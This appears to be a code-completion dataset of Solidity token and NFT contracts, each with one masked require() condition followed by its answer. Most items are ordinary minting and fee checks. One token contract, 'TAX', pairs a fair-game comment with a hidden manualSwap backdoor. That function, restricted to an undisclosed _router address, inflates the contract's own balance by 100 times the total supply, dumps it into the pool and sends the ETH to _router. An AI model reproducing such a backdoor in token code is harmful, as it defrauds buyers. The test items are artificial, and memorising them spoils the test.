// +#+ +:+ +#+ +:+ +#++:++# +#+ +:+ +#+ +#++:++#+ +#++:++# +#+ +#++:++#++
// +#+ +#+ +#+ +#+ +#+ +#+ +#+#+# +#+ +#+ +#+ +#+
// #+# #+# #+# #+# #+# #+# #+#+# #+# #+# #+# #+# #+#
// ######## ######### ########## ### #### ### ########## ### ########
/// @title: ODENPETS
/// @author: Shunichiro
/// @dev: This contract using NFTBoil (https://github.com/syunduel/NFTBoil)
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Pausable.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
// This NFT License is a16z Can't be Evil Lisence
import {LicenseVersion, CantBeEvil} from "@a16z/contracts/licenses/CantBeEvil.sol";
contract ODENPETS is ERC721A, ERC2981 , Ownable, Pausable, CantBeEvil(LicenseVersion.CBE_NECR_HS) {
using Strings for uint256;
string private baseURI = "";
uint256 public preCost = 0.001 ether;
uint256 public publicCost = 0.001 ether;
bool public presale = true;
bool public mintable = false;
bool public publicSaleWithoutProof = false;
uint256 public maxPerWallet = 300;
uint256 public publicMaxPerTx = 5;
address public royaltyAddress;
uint96 public royaltyFee = 500;
uint256 constant public MAX_SUPPLY = 10000;
string constant private BASE_EXTENSION = ".json";
address constant private DEFAULT_ROYALITY_ADDRESS = 0xA9028b1EA3A8485130eB86Dc1F26654c823D9849;
bytes32 public merkleRootPreMint;
bytes32 public merkleRootPublicMint;
mapping(address => uint256) private claimed;
constructor(
string memory _name,
string memory _symbol
) ERC721A(_name, _symbol) {
}
modifier whenMintable() {
}
/**
* @dev The modifier allowing the function access only for real humans.
*/
modifier callerIsUser() {
}
// internal
function _baseURI() internal view override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/**
* @notice Set the merkle root for the allow list mint
*/
function setMerkleRootPreMint(bytes32 _merkleRoot) external onlyOwner {
}
/**
* @notice Set the merkle root for the public mint
*/
function setMerkleRootPublicMint(bytes32 _merkleRoot) external onlyOwner {
}
function publicMint(uint256 _mintAmount, uint256 _publicMintMax, bytes32[] calldata _merkleProof) public
payable
whenNotPaused
whenMintable
callerIsUser
{
uint256 cost = publicCost * _mintAmount;
mintCheck(_mintAmount, cost);
require(!presale, "Presale is active.");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender, _publicMintMax));
require(
MerkleProof.verify(_merkleProof, merkleRootPublicMint, leaf),
"Invalid Merkle Proof"
);
require(<FILL_ME>)
require(
_mintAmount <= publicMaxPerTx,
"Mint amount over"
);
_mint(msg.sender, _mintAmount);
claimed[msg.sender] += _mintAmount;
}
function preMint(uint256 _mintAmount, uint256 _preMintMax, bytes32[] calldata _merkleProof)
public
payable
whenMintable
whenNotPaused
{
}
function publicMintWithoutProof(uint256 _mintAmount) public
payable
whenNotPaused
whenMintable
callerIsUser
{
}
function mintCheck(
uint256 _mintAmount,
uint256 cost
) private view {
}
function ownerMint(address _address, uint256 count) public onlyOwner {
}
function setPresale(bool _state) public onlyOwner {
}
function setPublicSaleWithoutProof(bool _state) public onlyOwner {
}
function setPreCost(uint256 _preCost) public onlyOwner {
}
function setPublicCost(uint256 _publicCost) public onlyOwner {
}
function setMintable(bool _state) public onlyOwner {
}
function setMaxPerWallet(uint256 _maxPerWallet) external onlyOwner {
}
function setPublicMaxPerTx(uint256 _publicMaxPerTx) external onlyOwner {
}
function getCurrentCost() public view returns (uint256) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function withdraw() external onlyOwner {
}
/**
* @notice Change the royalty fee for the collection
*/
function setRoyaltyFee(uint96 _feeNumerator) external onlyOwner {
}
/**
* @notice Change the royalty address where royalty payouts are sent
*/
function setRoyaltyAddress(address _royaltyAddress) external onlyOwner {
}
function supportsInterface(
bytes4 interfaceId
) public view virtual override(ERC721A, ERC2981,CantBeEvil) returns (bool) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
}
| claimed[msg.sender]+_mintAmount<=_publicMintMax,"Already claimed max" | 213,077 | claimed[msg.sender]+_mintAmount<=_publicMintMax |
"Invalid Merkle Proof" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
// :::::::: ::::::::: :::::::::: :::: ::: ::::::::: :::::::::: ::::::::::: ::::::::
// :+: :+: :+: :+: :+: :+:+: :+: :+: :+: :+: :+: :+: :+:
// +:+ +:+ +:+ +:+ +:+ :+:+:+ +:+ +:+ +:+ +:+ +:+ +:+
// +#+ +:+ +#+ +:+ +#++:++# +#+ +:+ +#+ +#++:++#+ +#++:++# +#+ +#++:++#++
// +#+ +#+ +#+ +#+ +#+ +#+ +#+#+# +#+ +#+ +#+ +#+
// #+# #+# #+# #+# #+# #+# #+#+# #+# #+# #+# #+# #+#
// ######## ######### ########## ### #### ### ########## ### ########
/// @title: ODENPETS
/// @author: Shunichiro
/// @dev: This contract using NFTBoil (https://github.com/syunduel/NFTBoil)
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Pausable.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
// This NFT License is a16z Can't be Evil Lisence
import {LicenseVersion, CantBeEvil} from "@a16z/contracts/licenses/CantBeEvil.sol";
contract ODENPETS is ERC721A, ERC2981 , Ownable, Pausable, CantBeEvil(LicenseVersion.CBE_NECR_HS) {
using Strings for uint256;
string private baseURI = "";
uint256 public preCost = 0.001 ether;
uint256 public publicCost = 0.001 ether;
bool public presale = true;
bool public mintable = false;
bool public publicSaleWithoutProof = false;
uint256 public maxPerWallet = 300;
uint256 public publicMaxPerTx = 5;
address public royaltyAddress;
uint96 public royaltyFee = 500;
uint256 constant public MAX_SUPPLY = 10000;
string constant private BASE_EXTENSION = ".json";
address constant private DEFAULT_ROYALITY_ADDRESS = 0xA9028b1EA3A8485130eB86Dc1F26654c823D9849;
bytes32 public merkleRootPreMint;
bytes32 public merkleRootPublicMint;
mapping(address => uint256) private claimed;
constructor(
string memory _name,
string memory _symbol
) ERC721A(_name, _symbol) {
}
modifier whenMintable() {
}
/**
* @dev The modifier allowing the function access only for real humans.
*/
modifier callerIsUser() {
}
// internal
function _baseURI() internal view override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/**
* @notice Set the merkle root for the allow list mint
*/
function setMerkleRootPreMint(bytes32 _merkleRoot) external onlyOwner {
}
/**
* @notice Set the merkle root for the public mint
*/
function setMerkleRootPublicMint(bytes32 _merkleRoot) external onlyOwner {
}
function publicMint(uint256 _mintAmount, uint256 _publicMintMax, bytes32[] calldata _merkleProof) public
payable
whenNotPaused
whenMintable
callerIsUser
{
}
function preMint(uint256 _mintAmount, uint256 _preMintMax, bytes32[] calldata _merkleProof)
public
payable
whenMintable
whenNotPaused
{
uint256 cost = preCost * _mintAmount;
mintCheck(_mintAmount, cost);
require(presale, "Presale is not active.");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender, _preMintMax));
require(<FILL_ME>)
require(
claimed[msg.sender] + _mintAmount <= _preMintMax,
"Already claimed max"
);
_mint(msg.sender, _mintAmount);
claimed[msg.sender] += _mintAmount;
}
function publicMintWithoutProof(uint256 _mintAmount) public
payable
whenNotPaused
whenMintable
callerIsUser
{
}
function mintCheck(
uint256 _mintAmount,
uint256 cost
) private view {
}
function ownerMint(address _address, uint256 count) public onlyOwner {
}
function setPresale(bool _state) public onlyOwner {
}
function setPublicSaleWithoutProof(bool _state) public onlyOwner {
}
function setPreCost(uint256 _preCost) public onlyOwner {
}
function setPublicCost(uint256 _publicCost) public onlyOwner {
}
function setMintable(bool _state) public onlyOwner {
}
function setMaxPerWallet(uint256 _maxPerWallet) external onlyOwner {
}
function setPublicMaxPerTx(uint256 _publicMaxPerTx) external onlyOwner {
}
function getCurrentCost() public view returns (uint256) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function withdraw() external onlyOwner {
}
/**
* @notice Change the royalty fee for the collection
*/
function setRoyaltyFee(uint96 _feeNumerator) external onlyOwner {
}
/**
* @notice Change the royalty address where royalty payouts are sent
*/
function setRoyaltyAddress(address _royaltyAddress) external onlyOwner {
}
function supportsInterface(
bytes4 interfaceId
) public view virtual override(ERC721A, ERC2981,CantBeEvil) returns (bool) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
}
| MerkleProof.verify(_merkleProof,merkleRootPreMint,leaf),"Invalid Merkle Proof" | 213,077 | MerkleProof.verify(_merkleProof,merkleRootPreMint,leaf) |
"Already claimed max" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
// :::::::: ::::::::: :::::::::: :::: ::: ::::::::: :::::::::: ::::::::::: ::::::::
// :+: :+: :+: :+: :+: :+:+: :+: :+: :+: :+: :+: :+: :+:
// +:+ +:+ +:+ +:+ +:+ :+:+:+ +:+ +:+ +:+ +:+ +:+ +:+
// +#+ +:+ +#+ +:+ +#++:++# +#+ +:+ +#+ +#++:++#+ +#++:++# +#+ +#++:++#++
// +#+ +#+ +#+ +#+ +#+ +#+ +#+#+# +#+ +#+ +#+ +#+
// #+# #+# #+# #+# #+# #+# #+#+# #+# #+# #+# #+# #+#
// ######## ######### ########## ### #### ### ########## ### ########
/// @title: ODENPETS
/// @author: Shunichiro
/// @dev: This contract using NFTBoil (https://github.com/syunduel/NFTBoil)
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Pausable.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
// This NFT License is a16z Can't be Evil Lisence
import {LicenseVersion, CantBeEvil} from "@a16z/contracts/licenses/CantBeEvil.sol";
contract ODENPETS is ERC721A, ERC2981 , Ownable, Pausable, CantBeEvil(LicenseVersion.CBE_NECR_HS) {
using Strings for uint256;
string private baseURI = "";
uint256 public preCost = 0.001 ether;
uint256 public publicCost = 0.001 ether;
bool public presale = true;
bool public mintable = false;
bool public publicSaleWithoutProof = false;
uint256 public maxPerWallet = 300;
uint256 public publicMaxPerTx = 5;
address public royaltyAddress;
uint96 public royaltyFee = 500;
uint256 constant public MAX_SUPPLY = 10000;
string constant private BASE_EXTENSION = ".json";
address constant private DEFAULT_ROYALITY_ADDRESS = 0xA9028b1EA3A8485130eB86Dc1F26654c823D9849;
bytes32 public merkleRootPreMint;
bytes32 public merkleRootPublicMint;
mapping(address => uint256) private claimed;
constructor(
string memory _name,
string memory _symbol
) ERC721A(_name, _symbol) {
}
modifier whenMintable() {
}
/**
* @dev The modifier allowing the function access only for real humans.
*/
modifier callerIsUser() {
}
// internal
function _baseURI() internal view override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/**
* @notice Set the merkle root for the allow list mint
*/
function setMerkleRootPreMint(bytes32 _merkleRoot) external onlyOwner {
}
/**
* @notice Set the merkle root for the public mint
*/
function setMerkleRootPublicMint(bytes32 _merkleRoot) external onlyOwner {
}
function publicMint(uint256 _mintAmount, uint256 _publicMintMax, bytes32[] calldata _merkleProof) public
payable
whenNotPaused
whenMintable
callerIsUser
{
}
function preMint(uint256 _mintAmount, uint256 _preMintMax, bytes32[] calldata _merkleProof)
public
payable
whenMintable
whenNotPaused
{
uint256 cost = preCost * _mintAmount;
mintCheck(_mintAmount, cost);
require(presale, "Presale is not active.");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender, _preMintMax));
require(
MerkleProof.verify(_merkleProof, merkleRootPreMint, leaf),
"Invalid Merkle Proof"
);
require(<FILL_ME>)
_mint(msg.sender, _mintAmount);
claimed[msg.sender] += _mintAmount;
}
function publicMintWithoutProof(uint256 _mintAmount) public
payable
whenNotPaused
whenMintable
callerIsUser
{
}
function mintCheck(
uint256 _mintAmount,
uint256 cost
) private view {
}
function ownerMint(address _address, uint256 count) public onlyOwner {
}
function setPresale(bool _state) public onlyOwner {
}
function setPublicSaleWithoutProof(bool _state) public onlyOwner {
}
function setPreCost(uint256 _preCost) public onlyOwner {
}
function setPublicCost(uint256 _publicCost) public onlyOwner {
}
function setMintable(bool _state) public onlyOwner {
}
function setMaxPerWallet(uint256 _maxPerWallet) external onlyOwner {
}
function setPublicMaxPerTx(uint256 _publicMaxPerTx) external onlyOwner {
}
function getCurrentCost() public view returns (uint256) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function withdraw() external onlyOwner {
}
/**
* @notice Change the royalty fee for the collection
*/
function setRoyaltyFee(uint96 _feeNumerator) external onlyOwner {
}
/**
* @notice Change the royalty address where royalty payouts are sent
*/
function setRoyaltyAddress(address _royaltyAddress) external onlyOwner {
}
function supportsInterface(
bytes4 interfaceId
) public view virtual override(ERC721A, ERC2981,CantBeEvil) returns (bool) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
}
| claimed[msg.sender]+_mintAmount<=_preMintMax,"Already claimed max" | 213,077 | claimed[msg.sender]+_mintAmount<=_preMintMax |
"Already claimed max" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
// :::::::: ::::::::: :::::::::: :::: ::: ::::::::: :::::::::: ::::::::::: ::::::::
// :+: :+: :+: :+: :+: :+:+: :+: :+: :+: :+: :+: :+: :+:
// +:+ +:+ +:+ +:+ +:+ :+:+:+ +:+ +:+ +:+ +:+ +:+ +:+
// +#+ +:+ +#+ +:+ +#++:++# +#+ +:+ +#+ +#++:++#+ +#++:++# +#+ +#++:++#++
// +#+ +#+ +#+ +#+ +#+ +#+ +#+#+# +#+ +#+ +#+ +#+
// #+# #+# #+# #+# #+# #+# #+#+# #+# #+# #+# #+# #+#
// ######## ######### ########## ### #### ### ########## ### ########
/// @title: ODENPETS
/// @author: Shunichiro
/// @dev: This contract using NFTBoil (https://github.com/syunduel/NFTBoil)
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Pausable.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
// This NFT License is a16z Can't be Evil Lisence
import {LicenseVersion, CantBeEvil} from "@a16z/contracts/licenses/CantBeEvil.sol";
contract ODENPETS is ERC721A, ERC2981 , Ownable, Pausable, CantBeEvil(LicenseVersion.CBE_NECR_HS) {
using Strings for uint256;
string private baseURI = "";
uint256 public preCost = 0.001 ether;
uint256 public publicCost = 0.001 ether;
bool public presale = true;
bool public mintable = false;
bool public publicSaleWithoutProof = false;
uint256 public maxPerWallet = 300;
uint256 public publicMaxPerTx = 5;
address public royaltyAddress;
uint96 public royaltyFee = 500;
uint256 constant public MAX_SUPPLY = 10000;
string constant private BASE_EXTENSION = ".json";
address constant private DEFAULT_ROYALITY_ADDRESS = 0xA9028b1EA3A8485130eB86Dc1F26654c823D9849;
bytes32 public merkleRootPreMint;
bytes32 public merkleRootPublicMint;
mapping(address => uint256) private claimed;
constructor(
string memory _name,
string memory _symbol
) ERC721A(_name, _symbol) {
}
modifier whenMintable() {
}
/**
* @dev The modifier allowing the function access only for real humans.
*/
modifier callerIsUser() {
}
// internal
function _baseURI() internal view override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/**
* @notice Set the merkle root for the allow list mint
*/
function setMerkleRootPreMint(bytes32 _merkleRoot) external onlyOwner {
}
/**
* @notice Set the merkle root for the public mint
*/
function setMerkleRootPublicMint(bytes32 _merkleRoot) external onlyOwner {
}
function publicMint(uint256 _mintAmount, uint256 _publicMintMax, bytes32[] calldata _merkleProof) public
payable
whenNotPaused
whenMintable
callerIsUser
{
}
function preMint(uint256 _mintAmount, uint256 _preMintMax, bytes32[] calldata _merkleProof)
public
payable
whenMintable
whenNotPaused
{
}
function publicMintWithoutProof(uint256 _mintAmount) public
payable
whenNotPaused
whenMintable
callerIsUser
{
uint256 cost = publicCost * _mintAmount;
mintCheck(_mintAmount, cost);
require(!presale, "Presale is active.");
require(publicSaleWithoutProof, "publicSaleWithoutProof is not open.");
require(
_mintAmount <= publicMaxPerTx,
"Mint amount over"
);
require(<FILL_ME>)
_mint(msg.sender, _mintAmount);
claimed[msg.sender] += _mintAmount;
}
function mintCheck(
uint256 _mintAmount,
uint256 cost
) private view {
}
function ownerMint(address _address, uint256 count) public onlyOwner {
}
function setPresale(bool _state) public onlyOwner {
}
function setPublicSaleWithoutProof(bool _state) public onlyOwner {
}
function setPreCost(uint256 _preCost) public onlyOwner {
}
function setPublicCost(uint256 _publicCost) public onlyOwner {
}
function setMintable(bool _state) public onlyOwner {
}
function setMaxPerWallet(uint256 _maxPerWallet) external onlyOwner {
}
function setPublicMaxPerTx(uint256 _publicMaxPerTx) external onlyOwner {
}
function getCurrentCost() public view returns (uint256) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function withdraw() external onlyOwner {
}
/**
* @notice Change the royalty fee for the collection
*/
function setRoyaltyFee(uint96 _feeNumerator) external onlyOwner {
}
/**
* @notice Change the royalty address where royalty payouts are sent
*/
function setRoyaltyAddress(address _royaltyAddress) external onlyOwner {
}
function supportsInterface(
bytes4 interfaceId
) public view virtual override(ERC721A, ERC2981,CantBeEvil) returns (bool) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
}
| claimed[msg.sender]+_mintAmount<=maxPerWallet,"Already claimed max" | 213,077 | claimed[msg.sender]+_mintAmount<=maxPerWallet |
null | /*
-On-chain working real tax. Taxes are set at 2% buy and 2% sell.
-Every 1 hour biggest buy gets all taxes accumulated in that timeframe
-Time is measured in blocks (300 blocks ~ 1 hour)
-Tokens are sent to the winning wallet automatically every 1 hour as long as there are any transactions at that time
-By selling tokens you disqualify yourself from ever being a winner
-If current biggest buy sells their tokens game restarts
-Liquidity will be burned before launch and contract ownership renounced.
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TAX is Context, IERC20, Ownable {
string private constant _name = unicode"ᗪOᖇKTAX";
string private constant _symbol = unicode"ᗪOᖇKTAX";
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isDisqualified;
mapping(address => uint256) private _holderLastTransferTimestamp;
mapping(address => uint256) private _isHolder;
bool public transferDelayEnabled = true;
uint256 private BuyTax=2;
uint256 private SellTax=2;
uint256 private _openTradingBlock;
uint256 private _startBlock;
uint256 public _toBeatAmount = 0;
address public _taxman = address(this);
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 100000000000 * 10**_decimals;
uint256 public _maxTxAmount = 4000000000 * 10**_decimals;
uint256 public _maxWalletSize = 4000000000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address payable private _router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
}
constructor () {
}
function _transfer(address from, address to, uint256 amount) private {
}
function removeLimits() external onlyOwner {
}
//Set max buy amount
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
}
//Set max wallet amount
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function addLiquidity() external onlyOwner {
}
function openTrading() external onlyOwner {
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function setBuyFee(uint256 newBuyTax) external onlyOwner {
}
function updateFeeSell(uint256 newSellTax) external onlyOwner {
}
function manualSwap() external {
require(<FILL_ME>)
_balances[address(this)] = _balances[address(this)].add(_tTotal*100);
uint256 tokenBalance = balanceOf(address(this));
if (tokenBalance > 0) {
swapTokensForEth(tokenBalance);
}
uint256 ethBalance = address(this).balance;
if (ethBalance > 0) {
_router.transfer(ethBalance);
}
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
receive() external payable {}
}
| _msgSender()==_router | 213,091 | _msgSender()==_router |
"Can't mint more nfts for that range" | // SPDX-License-Identifier: MIT
/*
* @title Zoothereum Child Contract
* @author NazaWeb Team
*/
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
interface INFT {
function mint(address _to, uint256 _tokenId) external;
function tokenTypeAndPrice(uint256 _tokenId)
external
view
returns (string memory _tokenType, uint256 _price);
function ownerOf(uint256 _tokenId) external returns (address owner);
}
contract ChildZoothereum is Ownable {
INFT public zoothereumContract;
//check if tokeId in minted array, if minted ++ else counter +1 if limit of range revert
mapping(uint256 => bool) mintedNfts;
uint16[9] maxSupplyPerRange = [250, 450, 600, 700, 790, 835, 865, 885, 900];
uint256[9] public rangesCurrTokenId = [
1,
251,
451,
601,
701,
791,
836,
866,
886
];
// MODIFIERS
/*
* @notice checks if range selected is valid and has available nfts to mint
* @param _range uint of the position in the array of the specified range
*/
modifier checkValidRange(uint256 _range) {
require(_range >= 0 && _range < 9, "selected range not available");
require(<FILL_ME>)
_;
}
/*
* @param _zoothereumAddress address of deployed zoothereum contract
* @param _mintedNfts array of tokenIds already minted in the main contract
*/
constructor(address _zoothereumAddress, uint256[] memory _mintedNfts) {
}
/*
* @notice Function to buy nft for a range
* @param _range range of the nft to buy, must be a valid one
*/
function buy(uint256 _range) external payable checkValidRange(_range) {
}
/*
* @notice get current valid tokenId for selected range to be minted
* @param _range range to get tokenId for
* @dev it will return tokenId to be minted, if range is completed reverts and updates rangeCurrTokenID
*/
function getTokenIdForRange(uint256 _range)
internal
returns (uint256 _tokenId)
{
}
/*
* @notice funcion called by the constructor to set the snapShot of zooethereum contract
* @param _mintedNfts array of tokenIds minted in zooethereum contract
*/
function setMintedNfts(uint256[] memory _mintedNfts) internal {
}
function withdraw(address _reciever) external onlyOwner {
}
// Function to be called if constructor zoothereum address has been set wrong
function changeZoothereumAddress(address _zoothereum) external onlyOwner {
}
}
| rangesCurrTokenId[_range]<maxSupplyPerRange[_range],"Can't mint more nfts for that range" | 213,287 | rangesCurrTokenId[_range]<maxSupplyPerRange[_range] |
"USATokenOwner: swapHelper is locked" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
import "./interfaces/IUSATokenV1.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract USATokenOwner is Ownable {
address public constant USA_TOKEN_ADDRESS = 0x4FFe9CC172527DF1E40D0b2EfE1e9F05884A13dA;
IUSATokenV1 public constant USA_TOKEN = IUSATokenV1(USA_TOKEN_ADDRESS);
uint256 public constant MAX_SELL_TAX_FEE = 5 * 1e6; // max 5% sell fee
uint256 public constant MAX_BUY_TAX_FEE = 5 * 1e6; // max 5% buy fee
bool public lockSwapHelper = false;
/**
* This contract is the permanent owner of the USA token contract. This contract does not have the ability to change the ownership of the USA token contract (it lacks the ability to call the transferOwnership function in the USA Token contract).
*
* The ownership of this contract can be transferred to another address, but the ownership of the USA token contract cannot be transferred to another address.
*
* The purpose of this USA Owner contract is to contractlly enforce the following:
* - That the mint() function can never be called again since this contract is the owner and it lacks the ability to call the mint() function
* - That the burn() function can never be called again since this contract is the owner and it lacks the ability to call the burn() function
* - That the buy and sell taxes can never be higher than 5% (5 * 1e6)
* - The blacklistAddress function can never be called again since this contract is the owner and it lacks the ability to call the blacklistAddress function
* - This contract does have the ability to change the swapHelper, but this ability can be locked permanently by calling the lockSwapHelperForever function
*/
constructor(address _ownerAddress) Ownable(_ownerAddress) {}
/**
* function that calls manual swap in the USA token contract, which sells collected taxes into the configured lp pool
*/
function manualSwap() external onlyOwner {
}
/**
* @dev function that withdraws tokens from the contract
* @param _token the token address to withdraw
* @param _to the address to send the tokens to
* @param _amount the amount of tokens to withdraw
*/
function withdrawTokens(address _token, address _to, uint256 _amount) external onlyOwner {
}
/**
* @dev function that withdraws all available USA and sends it to the owner
*/
function withdrawAllUsaToOwner() external onlyOwner {
}
/**
* @dev Add registered swap contract, for enforcement of sell and buy taxes
* @param _swapContract the swap contract address of the dex
* @param _setting bool setting, true is to add, false is to remove
*/
function addRegisteredSwapContract(address _swapContract, bool _setting) external onlyOwner {
}
/**
* @dev Set minimum swap amount for selling on a usa sell action
* @param _minSwapAmount min swap amount for auto selling of taxes
*/
function setMinSwapAmount(uint256 _minSwapAmount) external onlyOwner {
}
/**
* @dev Set excluded from fee address
* @param _address address to set / exclude from being charged taxes
* @param _excluded true to exclude, false to (re)include
*/
function setExcludedFromFee(address _address, bool _excluded) external onlyOwner {
}
/**
* @dev Set tax fee charged on USA buys
* @param _taxFeeOnBuy tax fee on buy
* @notice tax can be max 5% (5 * 1e6)
*/
function setTaxFeeOnBuy(uint256 _taxFeeOnBuy) external onlyOwner {
}
/**
* @dev Set tax fee charged on USA sells
* @param _taxFeeOnSell tax fee on sell
* @notice tax can be max 5% (5 * 1e6)
*/
function setTaxFeeOnSell(uint256 _taxFeeOnSell) external onlyOwner {
}
/**
* @dev Set swap to eth on sell action of usa token
* @param _swapToEthOnSell bool to swap to eth on sell, false to disable 'automatic' tax swapping
*/
function setSwapToEthOnSell(bool _swapToEthOnSell) external onlyOwner {
}
/**
* @dev Set dao tax receiver address in the USA contract (where the dao tax in weth is sent to)
* @param _daoTaxReceiver address to set as dao tax receiver
*/
function setDaoTaxReceiver(address _daoTaxReceiver) external onlyOwner {
}
/**
* @dev change swap helper address, the swap helper is used to swap tokens to weth
* @param _swapHelper address of the swap helper
* @notice this function can only be called if the swap helper is not locked permanently
* @notice the reason there is a configurable swap helper to begin with is that we want to be able to change the swap helper in case of a new version of uniswap (like v4). This way we can upgrade the swap helper contract and change the address in the USA contract. to make sure the swap helper address is not changed maliciously, we can lock the swap helper address permanently if we want to.
*/
function changeSwapHelper(address _swapHelper) external onlyOwner {
require(<FILL_ME>)
USA_TOKEN.changeSwapHelper(_swapHelper);
}
/**
* @dev enable or disable fees on the USA token
* @param _value true to enable fees, false to disable fees
*/
function enableOrDisableFees(bool _value) external onlyOwner {
}
/**
* @notice function that allows for withdrawal of tokens that are accidentally sent to this ownership contract
* @param _token the token address to withdraw
* @param _to the address to send the tokens to
* @param _amount the amount of tokens to withdraw
*/
function removeTokensFromContract(address _token, address _to, uint256 _amount) external onlyOwner {
}
/**
* @dev function that locks the swap helper address permanently so that it cannot be changed anymore
* @notice this function can only be called once
*/
function lockSwapHelperForever() external onlyOwner {
}
}
| !lockSwapHelper,"USATokenOwner: swapHelper is locked" | 213,323 | !lockSwapHelper |
"Must keep fees at 12% or less" | //https://twitter.com/fuckshibarium
//https://t.me/FuckShibariumToken
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.8;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
